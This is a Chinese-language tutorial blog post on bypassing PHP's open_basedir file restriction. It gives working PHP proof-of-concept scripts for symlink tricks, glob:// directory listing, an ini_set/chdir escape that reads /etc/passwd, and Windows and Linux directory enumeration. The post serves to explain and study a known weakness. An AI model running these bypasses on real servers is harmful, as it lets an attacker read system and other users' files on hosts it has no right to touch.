Open_basedir绕过

Open_basedir绕过

一.基础知识

open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的
用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

我们在wwwroot目录下创建一个html文件夹和一个文本文件1.txt

其中1.txt内容为123456

html为网站根目录,下有一个index.php和test.php

其中test.php就是我们用来测试的php文件,如下

<?php
highlight_file("../1.txt");
$file=file_get_contents('../1.txt');
echo $file;
?>

在未设置open_basedir的情况下访问结果

我们设置open_basedir

即只能访问html目录下的文件

可见,无论是file_get_contents函数还是highlight_file都无效

二.命令执行函数绕过

由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。

我们将test.php修改后

可见可以无视open_basedir,但是一般都会禁用命令执行函数,所以实用价值不大

三.软链接:symlink()函数

注意: 针对 Windows:运行 PHP 于Vista、Server 2008 或更高版本才能正常使用。 之前版本的 Windows 不支持符号连接

此次实验环境:linux Ubuntu18.04.4 php 7.1.31

我们首先尝试使用symlink创建一个软链接

目标指向html目录下的error文件夹,访问后发现生成一个链接

双击进去可以访问到如下

我们保持之前的设置不变,尝试在open_basedir设置到html目录下,读取和html文件夹平行的1.txt

我们给出漏洞php内容

<?php
        mkdir("c");
        chdir("c");
        mkdir("d");
        chdir("d");
        chdir("..");
        chdir("..");
        symlink("c/d","tmplink");
        symlink("tmplink/../../1.txt","exploit");
        unlink("tmplink");
        mkdir("tmplink");
        echo file_get_contents("http://localhost/exploit");
?>
    

运行后结果如下,可见在html下生成c/d/和tmplink以及exploit,而我们成功读取到了1.txt的内容

我们可以查看一下链接

exploit链接到的是tmplink/../../1.txt,而tmplink链接到c/d,相当于exploit链接到c/d/../../1.txt,路径在open_basedir规定的目录下,符合操作规范,之后删除了tmplink链接,创建了tmplink实体文件夹,相当于此时的exploit指向的就是tmplink/../../1.txt,也就成功读取到了1.txt

关于软链也可以有另一种做法,测试php如下

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html','foo');
echo file_get_contents('bar/etc/passwd');

原理是一样的,只不过把软链改为实体文件夹的步骤换成了重构软链目标

四.glob伪协议

glob伪协议在筛选目录时不受open_basedir制约

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

上述payload可在php5.3以上读取仅针对linux根目录的目录

五. 利用ini_set读取文件内容

我们给出漏洞利用脚本,由于漏洞原理复杂,有兴趣可以自己研究,这里就不叙述

<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>

注意这里的chdir("..");数量据具体环境修改,一般要求是如果再chdir一次就进入根目录为止,比如php文件的位置为/www/admin/localhost_80/wwwroot/html/下,那么就要使用五次chdir("..");

六.其他读目录方式

对于windows系统

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File((.*)) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) { 
    $info = new SplFileInfo($basedir . $chars[$i] . '<><');
    $re = $info->getRealPath();
    if ($re) {
        dump($re);
    }
}
function dump($s){
    echo $s . '<br/>';
    ob_flush();
    flush();
}


<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    //$m = imagecreatefrompng("zip.png");
    //imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
    imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
    global $file;
    if (stripos($errstr, 'Invalid font filename') === FALSE) {
        printf("%s<br/>", $file);
    }
}
?>

以上都是windows下的列目录方式,用到了windows下通配符<>

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

这个是linux下的方法,dir传入的参数是目录,如果目录存在,就返回目录路径,不存在就返回bool(false),用于暴力猜解目录

参考资料

https://www.jianshu.com/p/cf2cd07d02cf

https://j7ur8.github.io/WebBook/PHP/%E5%88%A9%E7%94%A8symlink%E7%BB%95%E8%BF%87open_basedir.html

https://blog.csdn.net/weixin_33810302/article/details/87981560

原文地址:https://www.cnblogs.com/LLeaves/p/13210005.html